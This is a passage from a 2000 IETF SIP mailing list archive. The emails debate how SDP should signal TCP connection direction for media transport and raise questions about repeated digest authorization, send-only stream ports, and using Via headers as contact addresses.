occurring for media transport, and SIP ALP's will be able to > Do The Right Thing(tm) for TCP-based transports with a minimum of extra > complexity. TCP-based servers can continue to use fixed port numbers for > incoming connections if that is desirable. At the same time, connections > can be mapped to sessions without using additional signaling in the media > transport itself. Even dumb firewalls can easily be configured to pass > this type of traffic (although NAT's remain a problem). > > SSL/S and SSL/C? > ---------------- > > Any reason to add these to the list? One could argue that this belongs in > the description of the upper-layer protocol. On the other hand, it's > common enough that it may warrant being added to the list of well-known SDP > transports. Comments? > > David Yon > Chief Technical Officer > Dialout.Net, Inc. > yon@dialout.net > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 01:12:58 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA28818 for ; Wed, 9 Aug 2000 01:12:58 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id CCD0444363; Wed, 9 Aug 2000 01:12:52 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id 9DE7A44354 for ; Wed, 9 Aug 2000 01:12:49 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Tue, 8 Aug 2000 22:12:42 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'Jonathan Rosenberg'" , David Yon Cc: sip@lists.bell-labs.com Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Date: Tue, 8 Aug 2000 22:12:41 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com You are the man! I think this ties everything together very well. If the attribute is missing what should the assumed value be? I would argue that it should be "uni" as this is most inline with the way SDP is written. I agree with regards to port 0, ie even if "active" is used the port must not be zero (perhaps the discard port (9) could be a recommendation?). Do we want/need to define two tcp profiles: one for non-RTP/normal tcp and one for RTP/AVP/TCP ? Cheers, Robert. > -----Original Message----- > From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com] > Sent: Wednesday, August 09, 2000 12:50 PM > To: David Yon > Cc: sip@lists.bell-labs.com > Subject: Re: [SIP] SIP, SDP, and TCP-based media transport > > > This thread never reached any conclusion; there was a lot of > discussion > and it would be nice to come to consensus. > > Summary so far: > > 1. Seems there is consensus that we would like to be able to have a > single TCP connection for bidirectional media. The case of two > unidirectional tcp connections is easy and pretty much supported with > the current SDP model. > > 2. It was proposed that the INVITE could contain a port number even if > the UAC was going to open the connection to the UAS; this port would > indicate the source port used in the open. This was motivated by the > desire for the UAS to have a single server port, and thus distinguish > incoming tcp connections from different UACs on the same > machine by the > source port. > > I have a problem with including the source port in the > outgoing request. > As Anders pointed out, this requires allocating a source port before a > connection is setup, which is going to be impossible in > certain systems. > > It would also be useful to allow both sides to try to connect, in the > case where one is behind a firewall, the result is that one of the > connection attempts will work and then that can be used. If both > connect, we could define a precedence rule for dropping one. > > So, my proposal would be: > > 1. m line format stays as is > 2. instead of AVP, its a new parameter which indicates TCP: AVP-TCP > 3. the port number in the m line refers to the port it is listening on > for connections; this may be meaningless dependending on the > next thing > 4. we define a new attribute, tcp, with values of: > active: the port number is meaningless and the UA sending this SDP > wishes to open the connection to the remote side > passive: please open a connection to this port > both: we should both try to open connections; the one opened to the > highest remote port takes precedence if both succeed. If the ports are > the same, the highest IP address. > uni: we should both open tcp connections, and use both, each being > unidirectional (at least for RTP, RTCP would be sent back > over the same > TCP connection I suppose) > > I don't like using port zero since this overloads the meaning of port > zero defined by SIP (refusal of a stream). > > > Comments? > > -Jonathan R. > > David Yon wrote: > > > > Attached is an informal discussion of various approaches to > solving the > > SDP/TCP problem. Any comments are welcome. If there is > general agreement > > I'd be happy to collaborate on or submit a formal I-D. > > > > With FOGLAMPS under way, and T.38 Annex D already > finalized, this problem > > needs to be solved as soon as possible. While this may be > more of an SDP > > issue than a SIP issue, this problem is directly relevant > to SIP which is > > why I've posted this here. If anyone has suggestions for > additional and/or > > more appropriate forums please let me know. > > > > ---- > > > > SIP, SDP, and TCP-based media transport > > ======================================= > > > > The Session Description Protocol currently only describes a > small set of > > protocols that are used for media transport, the most > common being RTP and > > UDP. A significant omission in SDP is a way to specify TCP as the > > transport protocol. Since SIP uses SDP to describe the > media used in the > > session being initiated, there is currently no way to use > SIP to set up > > sessions that use TCP connections for media transport. > > > > Annex D of the T.38 spec recommends that a protocol > identifier of "TCP" be > > added to SDP. While this allows SDP to describe that the > media transport > > will use TCP as the network protocol, it only tells half > the story. The > > major difference between RTP/UDP and TCP is that connection setup is > > asymmetric---one side must be the initiator and the other > must be the > > listener. Only specifying that the network protocol is TCP > omits this > > important piece of information. > > > > The remainder of this document discusses ways that the > direction of the TCP > > connection setup could be conveyed in SDP. > > > > Specification By Inference > > -------------------------- > > > > One approach is to leave the decision to the endpoints, and > just assume > > that if they can agree on a media transport that they'll > implicitly know > > how to correctly set up the connection. For example, a > transport type of > > "t38" over TCP might imply that the caller always initiates > the connection > > and the callee accepts the connection. > > > > The problem is that it doesn't scale. It requires that SIP > ALP's stay > > current on an ever-growing list of transport types and > hard-code their > > connection heuristics. > > > > Mapping to SIP Call Flow > > ------------------------ > > > > Another approach is to standardize on mapping the SIP call > direction to the > > connection of the TCP setup. I.e., specify in the SIP RFC > that the UA that > > does the INVITE is the one that accepts the TCP connection > from the UA that > > does the OK. > > > > The problem with this is that it imposes an arbitrary > restriction upon a > > wide range of applications and topologies. The transport > may involve a > > legacy protocol that cares about the direction of the TCP > setup, and it may > > not always map to the direction of the call flow. > > > > The other problem is that it resolves the issue only for > SIP, leaving the > > problem to be solved again and again for other protocols > that also use SDP. > > > > First-Specified/First-Served > > ---------------------------- > > > > One could specify that the first UA to offer up an SDP message is > > implicitly offering to accept the TCP connection. This > maps somewhat to > > how SDP works on UDP-based transports, where by specifying > a port number > > the UA is announcing that the port is now available to > accept a media stream. > > > > This technique would certainly work when the topology > allows the UA sending > > the INVITE to accept the TCP connection. But if the > topology requires that > > it be the UA sending the OK, then you run into the problem of > > underspecifying the session type. Most sessions signalled > in SIP are > > described by the SDP being sent in the INVITE. I.e., is > this an audio > > call? an audio/video call? a T.38 fax call? This question can be > > answered by inspecting the SDP in the INVITE. Not sending > this information > > may deprive downstream SIP proxies of critical information > required to > > select the correct media gateway. > > > > Port Zero > > --------- > > > > Another twist that would leave SDP syntax unchanged would > be to establish > > the convention that an SDP message specifying zero for the > port and TCP for > > a transport is the UA that will initiate the TCP > connection. It would be > > up to the other UA to supply a valid port that will accept > this connection. > > > > One problem is that this limits the flexibility of the network > > topology. Many TCP protocols have a well-known port at > which they will > > accept connections, and it may be desirable to always use > that port number > > for the accept (not the least of which is ease of dumb-firewall > > administration). If this is the case, specifying port zero for the > > initiator means that the acceptor may not have sufficient > information to > > correlate an incoming connection with a SIP session. > > > > TCP/S and TCP/C > > --------------- > > > > The most explicit way to fully describe TCP-based transport > is to add two > > new SDP protocol descriptors: TCP/S and TCP/C (any better > suggestions for > > nomenclature?). The UA that will accept the connection > specifies TCP/S > > along with the port number it will be accepting on. The UA > that will > > initiate the connection specifies TCP/C along with the port > number to which > > it has bound the outgoing socket. > > > > This approach has numerous advantages. The SDP messages > convey *exactly* > > what will be occurring for media transport, and SIP ALP's > will be able to > > Do The Right Thing(tm) for TCP-based transports with a > minimum of extra > > complexity. TCP-based servers can continue to use fixed > port numbers for > > incoming connections if that is desirable. At the same > time, connections > > can be mapped to sessions without using additional > signaling in the media > > transport itself. Even dumb firewalls can easily be > configured to pass > > this type of traffic (although NAT's remain a problem). > > > > SSL/S and SSL/C? > > ---------------- > > > > Any reason to add these to the list? One could argue that > this belongs in > > the description of the upper-layer protocol. On the other > hand, it's > > common enough that it may warrant being added to the list > of well-known SDP > > transports. Comments? > > > > David Yon > > Chief Technical Officer > > Dialout.Net, Inc. > > yon@dialout.net > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 01:14:11 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA29573 for ; Wed, 9 Aug 2000 01:14:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2D91944373; Wed, 9 Aug 2000 01:14:07 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id 060A844354 for ; Wed, 9 Aug 2000 01:14:01 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id KAA14764 for ; Wed, 9 Aug 2000 10:45:03 +0530 (IST) Received: from sung17.sasi.com ([10.0.64.17]) by sasi.com; Wed, 09 Aug 2000 10:45:01 +0000 (IST) Received: from pcg140 (pcg140.sasi.com [10.0.64.140]) by sung17.sasi.com (8.9.3/8.9.3) with SMTP id KAA26558 for ; Wed, 9 Aug 2000 10:44:56 +0530 (IST) Message-ID: <00be01c001c0$38132020$8c40000a@sasi.com> From: "rafi" To: Date: Wed, 9 Aug 2000 10:41:04 +0530 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00BB_01C001EE.51990180" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Subject: [SIP] Authorization each time ? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_00BB_01C001EE.51990180 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, =20 Consider the following call scenario A B INVITE ------------------------------------> 401 (Unauthorized) <------------------------------------ ACK ------------------------------------> INVITE with Authorization -------------------------------------> =20 200 OK <------------------------------------- ACK -------------------------------------> When call is disconnected and connected later above things repeat even though caller MAY know that=20 authorization is required each time. Caller MAY not have the=20 proper nonce and other values in order to authorize. In order to get those value caller MAY prefer to go through the above=20 call flow each time. Thus each time caller has a overhead of doing thing. Thus, is it possible to do it in other way ?.=20 Thanks Rafi Assadi H M ------=_NextPart_000_00BB_01C001EE.51990180 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
     =
 Consider the=20 following call scenario
 

 =20 A            =             &= nbsp;         =20 B
 
          &nbs= p; =20 INVITE
   = ------------------------------------>
 
          &nbs= p; =20 401 (Unauthorized)
  =20 <------------------------------------
 
          &nbs= p; =20 ACK
   = ------------------------------------>
 
          &nbs= p; =20 INVITE with Authorization
  =20 ------------------------------------->
    &nbs= p;   =20
           &nb= sp; 200=20 OK
   = <-------------------------------------
 
          &nbs= p; =20 ACK
   = ------------------------------------->
 

  When call is disconnected = and =20 connected  later
  above things repeat even though caller = MAY know=20 that
  authorization is required each time. Caller MAY not have = the=20
  proper nonce and other values  in order to authorize. In = order
  to get those value caller MAY = prefer to go=20 through the above
  call  flow each = time. Thus each time caller has a overhead = of
  doing thing. Thus, is = it  possible to do it in other way ?. =
 
Thanks
Rafi Assadi H=20 M
------=_NextPart_000_00BB_01C001EE.51990180-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 01:35:53 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA14094 for ; Wed, 9 Aug 2000 01:35:52 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id EF6C34437E; Wed, 9 Aug 2000 01:35:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f213.law7.hotmail.com [216.33.237.213]) by lists.bell-labs.com (Postfix) with ESMTP id EF0C444348 for ; Wed, 9 Aug 2000 01:35:17 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 8 Aug 2000 22:35:17 -0700 Received: from 164.164.6.31 by lw7fd.law7.hotmail.msn.com with HTTP; Wed, 09 Aug 2000 GMT X-Originating-IP: [164.164.6.31] From: "rahul pande" To: sip@lists.bell-labs.com Date: Wed, 09 Aug 2000 05:35:16 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 09 Aug 2000 05:35:17.0289 (UTC) FILETIME=[998EB190:01C001C3] Subject: [SIP] some problem in SIP call flow Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com CALLER:: CALLEE:: INVITE 200 ok v=0 v=0 c=IN IP4 127.80.1.112 c=IN IP4 127.81.2.113 ...... ...... m=audio 3241 RTP/AVP 0 m=?????????????? a=recvonly m=vedio 3342 RTP/AVP 1 m=vedio 3352 RTP/AVP 1 Now the callee has only two options with the first media stream that he can accept or reject. CASE 1 (ACCEPT) The response in place of the ??????????????? would be : m=audio 0 RTP/AVP 0 (since port no. does not have any sign.) ************************************************************************ Since the RFC says "For send-only streams, the address and port number have no significance and SHOULD be set to zero." ************************************************************************So, should i always specify a corres. "c=" for the above such as : c=IN IP4 0.0.0.0 or m=audio 2134 RTP/AVP 0 (RTCP port ---according to bis) CASE 2 (REJECT) if we follow the bis we won't have any problems since just putting the port to 0 will suffice but with the present RFC how will we inform the other side that we want to reject this media stream since port zero is sent when he accepts the media stream, would the address field in "c=" line be seen to check if its a reject or an accept i.e. whether address in c= is 0 or <>0 corresponding to a port 0 in m= line. ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 01:38:23 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA15672 for ; Wed, 9 Aug 2000 01:38:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id CB1D144383; Wed, 9 Aug 2000 01:37:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id 926A644348 for ; Wed, 9 Aug 2000 01:37:50 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id LAA16127 for ; Wed, 9 Aug 2000 11:08:53 +0530 (IST) Received: from sung17.sasi.com ([10.0.64.17]) by sasi.com; Wed, 09 Aug 2000 11:08:53 +0000 (IST) Received: from pcg140 (pcg140.sasi.com [10.0.64.140]) by sung17.sasi.com (8.9.3/8.9.3) with SMTP id LAA26837 for ; Wed, 9 Aug 2000 11:08:42 +0530 (IST) Message-ID: <00f701c001c3$8a0e0900$8c40000a@sasi.com> From: "rafi" To: Date: Wed, 9 Aug 2000 11:04:51 +0530 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00F4_01C001F1.A39D1220" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Subject: [SIP] Via in Request as a Contact Address ? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_00F4_01C001F1.A39D1220 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, =20 Consider for e.g. an INVITE request sent to the user B from user A via one or=20 more proxies. When user B receives the=20 request the last via header field is the=20 address of the user A. Assuming this via header field is not encrypted, can it be used=20 as a contact address by the user B when =20 sending request message to user A ? Thanks Rafi Assadi H.M. ------=_NextPart_000_00F4_01C001F1.A39D1220 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
 
       = Consider for=20 e.g. an INVITE request
 sent to the=20 user B  from user A via one or
 more proxies.=20 When user B = receives  the
 request the last via header field is the
 address of=20 the  user A. Assuming this = via
 header field  is = not  = encrypted, can it be used
 as a contact=20 address by the user B  = when =20
 sending =20 request message to  user A = ?
 
 
Thanks
Rafi Assadi H.M.
 
------=_NextPart_000_00F4_01C001F1.A39D1220-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 01:45:45 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA20291 for ; Wed, 9 Aug 2000 01:45:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2F5C14437B; Wed, 9 Aug 2000 01:44:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id BA80544348 for ; Wed, 9 Aug 2000 01:44:54 -0400 (EDT) Received: from dynamicsoft.com (1Cust172.tnt8.farmingdale.ny.da.uu.net [63.14.113.172]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id BAA16043; Wed, 9 Aug 2000 01:46:19 -0400 (EDT) Message-ID: <3990F10C.9BF41D8C@dynamicsoft.com> Date: Wed, 09 Aug 2000 01:50:04 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: rafi Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Via in Request as a Contact Address ? References: <00f701c001c3$8a0e0900$8c40000a@sasi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > rafi wrote: > > Hi, > > > Consider for e.g. an INVITE request > sent to the user B from user A via one or > more proxies. When user B receives the > request the last via header field is the > address of the user A. Assuming this via > header field is not encrypted, can it be used > as a contact address by the user B when > sending request message to user A ? No. This is why we have Contact. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 08:08:07 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA13117 for ; Wed, 9 Aug 2000 08:08:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D74344434C; Wed, 9 Aug 2000 04:58:15 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 59BDD4433A for ; Wed, 9 Aug 2000 04:58:07 -0400 (EDT) Received: from dynamicsoft.com (ip17.honxr1.ras.tele.dk [195.249.119.17]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id EAA16190; Wed, 9 Aug 2000 04:59:37 -0400 (EDT) Message-ID: <39911CE4.6D9095DD@dynamicsoft.com> Date: Wed, 09 Aug 2000 10:57:08 +0200 From: Anders Kristensen Organization: dynamicsoft X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; I) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: David Yon , sip@lists.bell-labs.com Subject: Re: [SIP] SIP, SDP, and TCP-based media transport References: <4.3.2.7.2.20000726101843.00d4a220@hither.rfdsoftware.com> <3990E304.7E53EB6@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Works for me, although in 2. I'd prefer using the token TCP rather than AVP-TCP. This really has nothing to do with any Audio Video Profile. Unlike for RTP-over-UDP we're not aiming to tell the peer that this connection is carrying a certain type of traffic. It just means we're establishing a TCP connection, right? Cheers, Anders Jonathan Rosenberg wrote: > > So, my proposal would be: > > 1. m line format stays as is > 2. instead of AVP, its a new parameter which indicates TCP: AVP-TCP > 3. the port number in the m line refers to the port it is listening on > for connections; this may be meaningless dependending on the next thing > 4. we define a new attribute, tcp, with values of: > active: the port number is meaningless and the UA sending this SDP > wishes to open the connection to the remote side > passive: please open a connection to this port > both: we should both try to open connections; the one opened to the > highest remote port takes precedence if both succeed. If the ports are > the same, the highest IP address. > uni: we should both open tcp connections, and use both, each being > unidirectional (at least for RTP, RTCP would be sent back over the same > TCP connection I suppose) > > I don't like using port zero since this overloads the meaning of port > zero defined by SIP (refusal of a stream). > > Comments? > > -Jonathan R. > > David Yon wrote: > > > > Attached is an informal discussion of various approaches to solving the > > SDP/TCP problem. Any comments are welcome. If there is general agreement > > I'd be happy to collaborate on or submit a formal I-D. > > > > With FOGLAMPS under way, and T.38 Annex D already finalized, this problem > > needs to be solved as soon as possible. While this may be more of an SDP > > issue than a SIP issue, this problem is directly relevant to SIP which is > > why I've posted this here. If anyone has suggestions for additional and/or > > more appropriate forums please let me know. > > > > ---- > > > > SIP, SDP, and TCP-based media transport > > ======================================= > > > > The Session Description Protocol currently only describes a small set of > > protocols that are used for media transport, the most common being RTP and > > UDP. A significant omission in SDP is a way to specify TCP as the > > transport protocol. Since SIP uses SDP to describe the media used in the > > session being initiated, there is currently no way to use SIP to set up > > sessions that use TCP connections for media transport. > > > > Annex D of the T.38 spec recommends that a protocol identifier of "TCP" be > > added to SDP. While this allows SDP to describe that the media transport > > will use TCP as the network protocol, it only tells half the story. The > > major difference between RTP/UDP and TCP is that connection setup is > > asymmetric---one side must be the initiator and the other must be the > > listener. Only specifying that the network protocol is TCP omits this > > important piece of information. > > > > The remainder of this document discusses ways that the direction of the TCP > > connection setup could be conveyed in SDP. > > > > Specification By Inference > > -------------------------- > > > > One approach is to leave the decision to the endpoints, and just assume > > that if they can agree on a media transport that they'll implicitly know > > how to correctly set up the connection. For example, a transport type of > > "t38" over TCP might imply that the caller always initiates the connection > > and the callee accepts the connection. > > > > The problem is that it doesn't scale. It requires that SIP ALP's stay > > current on an ever-growing list of transport types and hard-code their > > connection heuristics. > > > > Mapping to SIP Call Flow > > ------------------------ > > > > Another approach is to standardize on mapping the SIP call direction to the > > connection of the TCP setup. I.e., specify in the SIP RFC that the UA that > > does the INVITE is the one that accepts the TCP connection from the UA that > > does the OK. > > > > The problem with this is that it imposes an arbitrary restriction upon a > > wide range of applications and topologies. The transport may involve a > > legacy protocol that cares about the direction of the TCP setup, and it may > > not always map to the direction of the call flow. > > > > The other problem is that it resolves the issue only for SIP, leaving the > > problem to be solved again and again for other protocols that also use SDP. > > > > First-Specified/First-Served > > ---------------------------- > > > > One could specify that the first UA to offer up an SDP message is > > implicitly offering to accept the TCP connection. This maps somewhat to > > how SDP works on UDP-based transports, where by specifying a port number > > the UA is announcing that the port is now available to accept a media stream. > > > > This technique would certainly work when the topology allows the UA sending > > the INVITE to accept the TCP connection. But if the topology requires that > > it be the UA sending the OK, then you run into the problem of > > underspecifying the session type. Most sessions signalled in SIP are > > described by the SDP being sent in the INVITE. I.e., is this an audio > > call? an audio/video call? a T.38 fax call? This question can be > > answered by inspecting the SDP in the INVITE. Not sending this information > > may deprive downstream SIP proxies of critical information required to > > select the correct media gateway. > > > > Port Zero > > --------- > > > > Another twist that would leave SDP syntax unchanged would be to establish > > the convention that an SDP message specifying zero for the port and TCP for > > a transport is the UA that will initiate the TCP connection. It would be > > up to the other UA to supply a valid port that will accept this connection. > > > > One problem is that this limits the flexibility of the network > > topology. Many TCP protocols have a well-known port at which they will > > accept connections, and it may be desirable to always use that port number > > for the accept (not the least of which is ease of dumb-firewall > > administration). If this is the case, specifying port zero for the > > initiator means that the acceptor may not have sufficient information to > > correlate an incoming connection with a SIP session. > > > > TCP/S and TCP/C > > --------------- > > > > The most explicit way to fully describe TCP-based transport is to add two > > new SDP protocol descriptors: TCP/S and TCP/C (any better suggestions for > > nomenclature?). The UA that will accept the connection specifies TCP/S > > along with the port number it will be accepting on. The UA that will > > initiate the connection specifies TCP/C along with the port number to which > > it has bound the outgoing socket. > > > > This approach has numerous advantages. The SDP messages convey *exactly* > > what will be occurring for media transport, and SIP ALP's will be able to > > Do The Right Thing(tm) for TCP-based transports with a minimum of extra > > complexity. TCP-based servers can continue to use fixed port numbers for > > incoming connections if that is desirable. At the same time, connections > > can be mapped to sessions without using additional signaling in the media > > transport itself. Even dumb firewalls can easily be configured to pass > > this type of traffic (although NAT's remain a problem). > > > > SSL/S and SSL/C? > > ---------------- > > > > Any reason to add these to the list? One could argue that this belongs in > > the description of the upper-layer protocol. On the other hand, it's > > common enough that it may warrant being added to the list of well-known SDP > > transports. Comments? > > > > David Yon > > Chief Technical Officer > > Dialout.Net, Inc. > > yon@dialout.net > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 08:41:25 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA15784 for ; Wed, 9 Aug 2000 08:41:24 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4A57F44349; Wed, 9 Aug 2000 06:26:31 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from nautilus.shore.net (nautilus.shore.net [207.244.124.104]) by lists.bell-labs.com (Postfix) with ESMTP id 271F044337 for ; Wed, 9 Aug 2000 06:26:28 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by nautilus.shore.net with esmtp (Exim) id 13MT47-00059A-00; Wed, 09 Aug 2000 06:26:27 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id GAA02664; Wed, 9 Aug 2000 06:19:45 -0400 (EDT) Message-Id: <4.3.2.7.2.20000809062235.00d515a0@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 09 Aug 2000 06:27:34 -0400 To: Anders Kristensen , Jonathan Rosenberg From: David Yon Subject: Re: [SIP] SIP, SDP, and TCP-based media transport Cc: sip@lists.bell-labs.com In-Reply-To: <39911CE4.6D9095DD@dynamicsoft.com> References: 